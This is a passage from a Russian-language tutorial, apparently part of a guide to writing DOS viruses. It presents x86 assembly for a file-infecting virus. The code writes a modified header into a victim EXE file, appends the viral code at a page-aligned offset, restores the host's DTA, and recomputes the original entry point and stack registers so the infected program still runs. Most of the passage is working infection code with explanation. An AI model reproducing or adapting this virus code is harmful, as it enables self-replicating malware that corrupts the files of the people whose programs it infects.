Восстанавливаем точку входа

Восстанавливаем DTA

Заражаем EXE - программу

После того, как скорректирован заголовок файла, можно его заразить. Напомним, что при заражении вирус должен перезаписать на диск модифицированный заголовок, после чего поместить свой код в конец файла-жертвы:

xor dx,dx ;Устанавливаем xor cx,cx ;указатель на call setpointer ;начало файла jc close_file ; lea dx,header ;И записываем mov cx,27 ;измененный за- call write ;головок на диск jc close_file mov dx,f_seek_low ;Устанавливаем mov cx,f_seek_high ;указатель на call setpointer ;определенное ;ранее место в ;файле jc close_file lea dx,vir ;И записываем на mov cx,vir_len ;диск вирусный call write ;код close_file:xor ax,ax ;Закроем зара- mov ah,3eh ;женный файл mov bx,descrypt ; int 21h ;

Строго говоря, код вируса записывается не за последним байтом файла. Это имеет место только когда размер файла кратен 512. Во всех остальных случаях вирусный код помещается в файл по смещению, определяемому размером файла в 512 - ти байтовых страницах. Конечно, число страниц округляется в большую сторону. Например, при размере файла в 1025 байт вирус будет считать, что его длина составляет три полных страницы, а при размере в 4096 байт - всего восемь! Такая система сильно упрощает процесс создания вирусной программы и ее отладку.

Итак, вирус выполнил свою работу - найден и заражен подходящий EXE - файл. Дальше необходимо переключить DTA с области данных вируса на область в PSP программы, из которой он стартовал. Поскольку начальный сегмент программы известен (он хранится в регистре ES, которым мы не пользовались), несложно найти адрес исходной DTA. Он равен ES:80h. И поэтому:

restore_dta: push ds ;DS -> в стек mov ah,1ah ;Восстановим mov dx,080h ;адрес DTA зара- mov bp,es ;женной програм- mov ds,bp ;мы с помощью int 21h ;функции DOS 1Ah pop ds ;DS <- из стека

В этом фрагменте адрес DTA устанавливается с помощью функции DOS 1Ah (см. ПРИЛОЖЕНИЕ 1). Новый адрес должен быть помещен в DS : DX, что мы и сделали. Команда " push ds " записывает в стек содержимое регистра DS, так как этот регистр используется для задания адреса,и поэтому его значение будет испорчено.

Далее необходимо передать управление зараженной программе ( конечно, не только что зараженной, а той, из которой стартовал вирус ). Для этого нужно восстановить ее исходную точку входа,а также переключить стек с вирусной области данных на стек, предусмотренный разработчиком программы. Чтобы произвести все необходимые вычисления, мы используем параметры заголовка программы, сохраненные ранее в ячейках " my_XX ". При передаче управления на код вируса в регистр CS было помещено такое значение : CS = NS0 + 10h + Header [16h], и это значение нам известно - оно сейчас находится в CS. С другой стороны, настоящая точка входа EXE - программы имеет сегментный адрес CS = NS0 + 10h + my_cs. Таким образом, достаточно узнать, чему равна сумма : NS0 + 10h, и прибавить к ней " my_cs ". Такая же ситуация возникает и при восстановлении регистра SS, только здесь к NS0 + 10h нужно прибавить " my_ss ". Проще всего восстановить регистр DS, поскольку при загрузке EXE-файла соблюдается условие : ES = DS = NS0. Для инициализации SP и IP можно просто записать в них числа, хранящиеся в переменных " my_sp " и " my_ip ", не производя при этом каких - либо сложных расчетов. С учетом этих соображений можно записать:

mov ax,my_ip mov old_ip,ax mov ax,my_cs mov old_cs,ax mov ax,my_16h mov to_16h,ax mov ax,my_sp mov sp,ax ;Инициализируем ;регистр SP. .. mov ax,cs ;Найдем sub ax,to_16h ;NS0 + 10h. .. add my_ss,ax ;Вычислим SS. .. mov ss,my_ss ; add ax,old_cs ;Вычислим CS. .. mov old_cs,ax ; mov ax,es ;Инициализируем mov ds,ax ;регистр DS. .. jmp $ + 2 ;Сбросим очередь ;процессора db 0eah ;И перейдем к old_ip dw 0 ;исполнению old_cs dw 0 ;программы. ..

Команда перехода к исполнению программы записана в виде машинного кода,чтобы при необходимости ее можно было модифицировать. И еще - вы , вероятно, помните, что символами "NS0" мы обозначили начальный сегмент программы.